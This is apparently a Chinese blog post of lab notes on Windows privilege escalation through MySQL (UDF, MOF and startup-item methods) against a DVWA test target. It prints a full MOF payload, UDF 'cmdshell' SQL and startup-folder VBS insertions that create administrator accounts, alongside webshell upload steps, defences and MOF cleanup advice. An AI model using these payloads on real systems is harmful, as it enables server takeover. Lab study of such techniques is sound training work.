实验目的(我的2003是32位的懒得搞了,大家参照一下吧)
普及结合dll文件对Windows系统进行启动项提权、MOF和UDF提权的基本思路,以及提权的主要方法。PS:面试时不要说打靶场什么东西,就说创建用户,文件执行什么之类的
基本概念
提权
通过某种方式将低权限用户提升为高权限用户的过程。
注入提权
一般指的是在掌控了某数据库账户的情况下,通过SQL注入等方式提升该账户的权
限,进而夺得服务器(操作系统)的控制权
Windows2003操作系统—一默认用户
System:本地机器上拥有最高权限的用户,普通用户管理工具查看不到
Administrator:基本上是本地机器上拥有最高权限的用户,可以重命名,但不能删除
Users组用户:普通用户,仅拥有一些基本的权限
Guests组用户:拥有相对极少的权限,默认情况是被禁用的
IUSR_*:安装IIS后出现的内建帐号,匿名访问IIS,Guest组成员之一
IWAM_*:与S有关,普通的用户帐户,可以为其分配访问远程网络资源的权限
Windows2003操作系统——目录(文件夹)权限
(1)完全控制:对目录拥有不受限制的完全访问权。选中了“完全控制”,下面的
五项属性将自动被选中。
(2)修改:选中了“修改”,它下面的四项属性将自动被选中。下面的任何一项没
有被选中时,“修改”条件将不再成立。
(3)读取和运行:允许读取和运行在目录下的任何文件,“列出文件夹目录”和
“读取”是“读取和运行”的必要条件。
(4)列出文件夹目录:只能浏览该卷或目录下的子目录,不能读取,也不能运行。
(5)读取:能够读取该卷或目录下的数据。
(6)写入:能够往该卷或目录下写入数据。
(7)特别的权限:对以上的六种权限进行细分及自定义。
系统提权的常用方法
操作系统提权
>系统内核溢出漏洞提权(https://github.com/secwiki/windows-kernel-exploits)
>系统配置错误提权
>组策略首选项提权(SYSVOL/GPP)
>BypassUAC提权
webshell提权
令牌取提权
数据库提权(MySQL、SQLServer等)
第三方应用软件提权(Serv-U、Office等)
通过MySQL数据库提权的方式
UDF提权
MOF提权
启动项提权
UDF
UDF(用户定义函数)是一类对MySQL服务器功能进行扩充的代码,通过添加新函数,性质就像使用本地MySQL函数absO)或concat0。当需要扩展MySQL服务器功能时,UDF通常是最好的选择。但同时,UDF也是黑客们在拥有低权限MySQL账号时比较好用的一种提权方法
UDF提权适用场合
拥有MySQL中的某个用户账号,该账号有对MySQL的insert和delete权限
UDF提权条件
MySQL版本大于5.1时,udf.dll文件须放置于MySQL安装目录下的lib\plugin文件夹(一般需要手工创建)下;MySQL版本小于5.1时,udf.dll文件在Windows2003下须放置于c:lwindowslsystem32
拥有MySQL数据库的账号,该账号有对MySQL的insert和delete权限,以创建和抛弃函数(一般以root账号为佳,具备root权限的其它账号也可以)拥有将udf.dl写入到相应目录的权限:MySQL的secure_file_priv不为NULL,且目标目录本身可写
NTFSADS流来创建文件夹(解决/lib/plugin目录不存在的问题)
select@@basedir;//查找到MySQL的目录
selectltis 'lt is dll' into dumpfile'C:\\Program Files\\MySQL\\MySQL
Server5.1\\lib::$INDEX_ALLOCATION';//利用NTFS ADS创建lib目录
select 'lt is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL
Server 5.1\\lib\\lplugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录
UDF提权实例
环境
靶机:Windows2003
攻击机:Windows7,Webshell脚本(dama.php),UDF提权脚本(udf.php)
步骤
利用把机的文件上传漏洞,上传Webshell(dama.php)
远程连接Webshell(damaphp),利用该Webshell上传UDF提权脚本(udf.php)并创建
plugin目录
远程连接udf.php,生成udf.dll并导出至plugin目录中
执行下列命令,创建自定义函数cmdshell:
create function cmdshell returns string soname 'udf.dll';
执行下列命令,利用自定义函数cmdshell为粑机操作系统新建用户:
select cmdshell('net user admin12 admin12 /add');
MOF
MOF是Windows系统的一个文件(在
C:/Windows/System32/wbem/mof/nullevt.mof)叫做“托管对象格式
MOF作用是每隔五秒就会去监控进程创建和死亡
MOF当中有一段是VBS脚本,VBS大多数的是cmd的添加管理员用户的命令
MOF提权条件
目标系统是Windows2000、WindowsXP或Windows2003
拥有MySQL数据库的root账号权限
拥有将MOF文件写入到目录“%SystemRoot%\System321Wbem\MOF”的
权限:MySQL的secure_file_priv不为NULL,且目标目录本身可写
MOF提权实例
环境
靶机:Windows2003
攻击机:Windows7,Webshell脚本(dama.php),MOF提权脚本(nullevt.mof)
步骤
编写MOF提权脚本(nullevt.mof)
#pragma namespace("\\\\.\\root\\subscription")
instance of _EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From _InstanceModificationEvent"
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
Query Language "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine "JScript";
ScriptText ="var WSH = new Activexobject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin123 admin123 /add\")";
};
instance of _FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
利用把机的文件上传漏洞,上传Webshell(dama.php)和MOF提权脚本(nullevt.mof)
远程连接Webshell,并使用如下命令将MOF提权脚本(nullevt.mof)移动到C/Windows/System32/wbem/mof目录下,使操作系统自动执行:
select load_file('C:\\ProgramFiles\\lphpstudy\\WWW\\DvwA\\hackable\\uploads\\lnullevt.mof') into dumpfile 'C\\windows\\system32\\wbem\\mof\\nullevt.mof';
如果服务器发现被使用MOF提权,该如何解决循环创建用户?
在cmd中使用以下命令停止Windows Management Instrumentation服务:
net stop winmgmt
删除文件夹下内容C:/Windows/system32/wbem/repository
删除MOF文件
删除目标用户
在cmd中使用以下命令启动Windows Management Instrumentation服务:
net start winmgmt
Webshell下的Windows启动项提权
Wscript是一个基于Windows系统脚本宿主对象的根对象,利用它可以创造两种COM对象:
WshSheli与WshNetwork
WScriptShell(WindowsScriptHostRuntimeLibrary)是一个对象,对应的文件是C:/WINDOWs/system32/wshom.ocx
Wscript.shel是服务器系统会用到的一种组件。这个对象
可以执行操作系统外壳常用的操作,比如运行程序、读写注
册表、环境变量等。这个对象通常被用在VB或VBS编程中。
set wshshell=Createobject ("wscriptshell")
wshshell.run ("notepad")
启动项提权条件
目标系统是Windows2000、WindowsXP或Windows2003
拥有MySQL数据库的root账号权限
拥有将VBS或BAT文件写入到目录“C:\DocumentsandSettings\AllUsers\”
「开始」菜单\程序\启动”的权限:MySQL的secure_file_priv不为NULL,且
目标目录本身可写
启动项提权实例
环境
靶机:Windows2003
攻击机:Windows10,Webshell脚本(dama.php)
步骤
利用职机的文件上传漏洞,上传Webshell(dama.php)
远程连接Webshell,并使用如下命令在MySQL默认数据库test中创建表a,并插入相应内容:
insert into a values("set wshshell=createobject (""wscript.shell"")");
insert into a values("a=wshshell.run(""cmd.exe /c net user11/add"",0)");
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators 1/add"",0)");
利用如下命令创建一个vbs脚本程序,并将其输出至靶机操作系统的开始启动项中:
select * from a into outfile "C:\\Documents and Settings\\AII Users\\ 「开始]菜单\\程序\\启动\\a.vbs";
注入提权的防范
基于MySQL的注入提权防范方法
查看MySQL数据库中user表授权的登录host,禁止具备root账号权限的用户通过"%"进行登录
禁止在网站CMS系统使用root账号进行配置
设置root账号的密码为强密码
对MySQL执行程序进行降权,禁止网站用户读取user.frm、user.myd、user.myi
检查MySQL数据库下的mysq1库中是否存在其它无关表,检查func表中的内容
可以在相应的目录下建立一个udf.dll空文件,并严格设置权限,任何用户无读取和写入权限
实验环境
攻击机:别人的
(1)操作系统:Windows10
(2)安装的应用软件:sqlmap、Burpsuite、FireFox浏览器插件Hackbar、
FoxyProxy等
(3)登录账号密码:操作系统帐号Admin,密码sdfgh
靶机:鱼王
(1)操作系统:本机(建议用虚拟机2003,不过我太懒了(‾◡◝)
(2)安装的应用软件: Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、
Webug3.0漏洞网站环境
(3)登录账号密码:操作系统帐号root,密码dfgh
实验原理
“启动项”就是开机的时候系统会在前台或者后台运行的程序。许多程序的自启动,给我们带来了很多方便,但不是每个自启动的程序对我们都有用:更甚者,也许有病毒或木马在自启动行列。如果攻击者能够控制启动项,拥有将可执行恶意脚本写入到启动项中的权限,能够完成提权的目的。
UDF(用户定义函数)是一类对MysQL服务器功能进行扩充的代码,通常是用C(或C++)写的。通过添加新函数,性质就像使用本地 MySQL函数abs()或concat()。当需要扩展MysαL服务器功能时,UDF通常是最好的选择。但同时,UDF也是黑客们在拥有低权限 MySQL账号时比较好用的一种提权方法。
MOF是Windows系统的一个文件(在C://Windows/system32/wbem/mof/nullevt.mof),叫做托管对象格式”,其作用是每隔一段时间就会去监控进程创建和死亡。MOF当中有一段是vbs脚本,
当中大多数是cmd添加用户的命令。
实验步骤
1.开启漏洞环境
在靶机上,启动 phpstudy,开启漏洞环境。
2.利用DVWA网站的漏洞上传Webshell并远程连接
(1)在攻击机Pentest-Atk上,启动Firefox浏览器,登录机上的DVWA网站。
网站的URL为;
http://靶机IP/DVWA-master/login.php
http://127.0.0.1/DVWA-master/login.php
输入默认用户名admin、密码password登录。
(2)成功登录DVWA网站后,在左侧菜单点击DVWASecurity,将DVWA网站的安全级别设置为Low,并点击Submit按钮确定。
(3)安全级别设置完成后,在左侧菜单点击“File Upload"模块,进入文件上传训练模块,并将攻击机的桌面文件夹tools/tiquan中的dama.php(实验中所用的Webshell) 文件上传至靶机(我本)。
(4)dama.php上传成功后,在攻击机浏览的地址栏中输入如下URL连接.php文件:
如图此类
注:第一次登录dama.php时会出现长时间卡顿现象,此时刷新浏览器即可。
3.利用Webshell上传udf.php(udf提权脚本),并创建plugin目录
(1)在dama.php主界面,选择左侧菜单“信息操作“->“上传文件”,将将攻击机桌面文件夹tools/tiquan中的udf.php(udf提权脚本)文件上传至机。默认上传路径为dama.php所在的目录,即:C:/ProgramFiles/phpstudy//dvwa/hackable/uploads
(2)仍然在damaphp主界面上,选择左侧菜单“本地磁盘”本地磁盘C,在C:/ProgramFiles/phpStudy/MySQL/lib目录下创建名为plugin的文件夹。
4.远程连接udf.php(udf提权脚本)
在攻击机Pentest-Atk上,利用Firefox浏览器连接目标靶机上的udf.php脚本。
连接URL:
http://ip/dwwa/hackable/uploads/udf.php
host:127.0.8.1
mysq1账号:root
密码:root
数据库名:mysql
5.利用udf.php生成dll文件,并执行提权
(1)在udf.php主界面,在“DLL导出路径”处填写:
C:\\Program Filesll\\phpstudy\\wysqL\\llib\\plugin\\udf.dil填写完成后点击”导出到此目录“按钮。如果执行成功,udf.dll文件将被导出至指定目录。
注:
a)在填写DLL导出路径时,应使用双反斜杠。
b)MySQL数据库的版本不同,导出路径也不尽相同。当MySQL版本<5.0时,导出路径随意:如果5.0<=MySQL版本<5.1,则需要导出至目标服务器的系统目录(如:system32):如果MySQL版本>5.1,则需要导出至MySQL数据库
插件的安装目录(plugin)。由于plugin目录默认是不存在的,因此在本实验的第3步中需要利用Webshell创建该目录。
(2)udf.dll导出成功后,仍然在udfphp主界面执行下列命令,创建cmdshell函数:
createfunction cmdshellreturnsstring soname"udf.dll'
(3)如果cmdshell函数创建成功,则可利用该函数在靶机操作系统中添加名为admin12的用户,所用命令为:
select cmdshell('net user admin12 /add');
(4)在靶机上验证攻击效果:
在cmd下输入netuser命令,会看到靶机操作系统中被添加了一个用户
“admin12”
有空补上吧,太长了
SQL注入-SQL注入的WAF绕过(十六)_Gjqhs的博客-CSDN博客
...
更多包括而不限于SQL注入的文章,关注我全部带走吧ψ(`∇´)ψ